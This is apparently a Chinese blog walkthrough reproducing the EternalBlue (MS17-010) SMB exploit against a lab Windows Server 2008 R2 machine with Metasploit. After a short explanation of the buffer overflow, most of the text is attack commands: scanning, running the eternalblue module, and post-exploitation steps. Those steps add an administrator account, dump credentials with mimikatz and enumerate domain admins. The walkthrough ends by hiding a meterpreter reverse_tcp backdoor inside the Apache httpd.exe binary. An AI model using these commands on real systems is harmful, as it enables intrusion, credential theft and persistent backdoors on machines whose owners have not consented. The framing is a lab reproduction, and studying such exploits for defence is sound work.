永恒之蓝MS17-010漏洞复现

永恒之蓝MS17-010漏洞复现

1.永恒之蓝简介

​ 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。

2.漏洞原理

​ 漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作:

  • srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小

  • 因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大

  • 因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出

3 影响版本

​ 目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0

4.漏洞环境搭建

靶机:Windows Server 2008 R2

攻击机: kali

5.复现过程

1.启动靶机

靶机为Windows Server 2008 R2,ip为192.168.1.128

2.端口探测

sudo nmap A -p- -sS sC -T4 -Pn 192.168.1.128

在这里插入图片描述

扫描二维码关注公众号,回复: 17174566 查看本文章

探测到靶机开放445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞

6.打开MSF进行渗透

msfconsole
search  ms17_010

在这里插入图片描述

use auxiliary/scanner/smb/smb_ms17_010		#进行扫描探测
set RHOST 192.168.1.128
run

在这里插入图片描述

Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2      #表示存在该漏洞

7.使用漏洞模块进行攻击

use exploit/windows/smb/ms17_010_eternalblue	#设置模块
set RHOST 192.168.1.128							#设置攻击目标

在这里插入图片描述

show options		#查看设置情况

在这里插入图片描述

exploit			#进行攻击

在这里插入图片描述

查看权限信息

shell

在这里插入图片描述

			chcp 65001 解决进入shell中中文乱码
			whoami/groups  查看我们当前的权限
			getuid   查看已经获得的权限
			systeminfo  查看系统信息,以及已打的补丁
			netstat -an   查看开启端口号
			net user  username  password /add    windows 中添加用户
			net localgroup administrators username   /add  把添加的用户添加到管理员组
			useradd –g 组名 用户名 linux下添加用户到root组
			
**使用mimikatz抓取密码**:用于在meterpreter模式下提权为systerm,在32位的进程中比较强大

			(1)在windows 2000 和 windowsxp中无法使用   
			(2)mimikatz_command -f hash ::
			(3)kerberos  抓取系统票据
			(4)wdigest  获取系统账户信息
	查询域名称:net view /domain
	查询域内计算机:net view /doamin:xx
	查询域控制器时间:net time /domain
	查询域管理用户:net group "domain admins" /domain
	得到域控制主机名:net group "domain controllers" /domain
	获取域控主机名:net group "domain controllers" /domain
拿到shell后
是乱码输入    chcp 65001就好了
创建一个用户
net user kkk 123456abc# /add 		#密码不能太简单,否则创建失败

在这里插入图片描述

8.上传后门

ps -S httpd.exe
use payload/windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.128
generate -p Windows -x /root/httpd.exe -k -f exe -o /root/httpd-door.exe

启动一个监听,监听后门的反向连接,并使用 expolit-j 放到后台
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.128
exploit -j

切回之前的 meterpreter session,上传后门文件并重命名
cd c:\\wamp\\bin\\apache\\apache2.2.21\\bin\\
pwd
mv httpd.exe httpd.exe.bak
upload /root/httpd-door.exe
mv httpd-door.exe httpd.exe

重启 wampapache 服务
shell
exit

猜你喜欢

转载自blog.csdn.net/huangyongkang666/article/details/123768577
今日推荐